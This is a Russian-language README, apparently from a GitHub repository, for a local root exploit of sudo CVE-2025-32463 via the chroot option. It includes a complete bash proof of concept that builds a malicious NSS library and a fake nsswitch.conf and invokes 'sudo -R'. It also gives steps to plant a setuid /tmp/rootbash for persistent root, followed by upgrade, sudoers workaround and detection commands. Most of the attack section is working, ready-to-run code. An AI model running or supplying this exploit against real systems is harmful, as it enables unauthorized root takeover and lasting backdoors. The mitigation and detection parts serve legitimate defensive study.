
Эксплойт локального повышения привилегий для CVE-2025-32463, нацеленный на недостаток проектирования sudo chroot. Предоставляет PoC-скрипт, технический анализ и рекомендации по смягчению для уязвимых версий sudo 1.9.14-1.9.17.
CVE-2025-32463 — это критическая уязвимость локального повышения привилегий в sudo версий с 1.9.14 по 1.9.17. Уязвимость позволяет атакующим, имеющим привилегии sudo, повысить их до root, используя недостаток логики обработки опции chroot.
Уязвимость возникает из-за проблемы синхронизации в процессе проверки безопасности sudo. Функция pivot_root выполняется до проверки политики безопасности, что позволяет атакующим манипулировать файловой системой, которую sudo использует для аутентификации и авторизации.
nsswitch.confpivot_root: Выполняется слишком раноset_cmnd_path: Работает в манипулированном окруженииcommand_matches: Проверки безопасности обходятся из-за манипуляции окружениемПеред использованием эксплойта убедитесь, что выполнены следующие условия:
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
chmod +x cve-2025-32463.sh
./cve-2025-32463.sh
Проверьте, уязвима ли целевая система:
# Проверить версию sudo
sudo --version
# Проверить привилегии sudo
sudo -l
# Поиск разрешений, связанных с chroot
sudo -l | grep chroot
Основной скрипт эксплойта (cve-2025-32463.sh):
#!/bin/bash
# CVE-2025-32463 PoC - повышение привилегий через chroot в sudo
# Основано на исследовании Rich Mirch @ Stratascale Cyber Research Unit
STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
system("id > /tmp/pwned_proof.txt");
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
execl("/bin/bash", "/bin/bash", NULL);
}
CEOF
mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c
echo "[*] Эксплуатация CVE-2025-32463..."
echo "[*] Попытка повышения привилегий..."
sudo -R pentest pentest
# Очистка
rm -rf ${STAGE?}
После успешной эксплуатации проверьте доступ root:
# Проверить текущие привилегии
whoami
# Проверить файл подтверждения
cat /tmp/pwned_proof.txt
# Использовать setuid bash для постоянного доступа root
/tmp/rootbash -p
Обновите sudo до версии 1.9.17p1 или выше:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade sudo
# CentOS/RHEL
sudo yum update sudo
# или
sudo dnf update sudo
Удалите директивы chroot из sudoers (временное обходное решение):
# Создать резервную копию текущей конфигурации
sudo cp /etc/sudoers /etc/sudoers.backup
# Удалить записи, связанные с chroot
sudo sed -i '/chroot/d' /etc/sudoers
# Проверить синтаксис
sudo visudo -c
Отслеживайте попытки эксплуатации:
# Проверить подозрительные временные каталоги
find /tmp -name "*.stage.*" -type d
# Мониторить журналы sudo
tail -f /var/log/auth.log | grep sudo
# Искать скомпилированные библиотеки NSS
find /tmp -name "libnss_*.so*" -type f
Уязвимость связана с ошибкой проектирования в потоке выполнения sudo:
Нормальный ожидаемый поток:
Фактический уязвимый поток:
Эксплойт использует систему Name Service Switch (NSS):
/etc/nsswitch.conf для аутентификации пользователяЭтот эксплойт был протестирован на:
⚠️ ВАЖНЫЙ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ ⚠️
Этот инструмент предоставляется только для образовательных и авторизованных целей тестирования.
Вклад приветствуется! Пожалуйста:
Этот проект лицензирован по лицензии MIT — подробности в файле LICENSE.
Примечание: Эта уязвимость затрагивает критический компонент системы. Пожалуйста, используйте ответственно и убедитесь, что все тестирование авторизовано.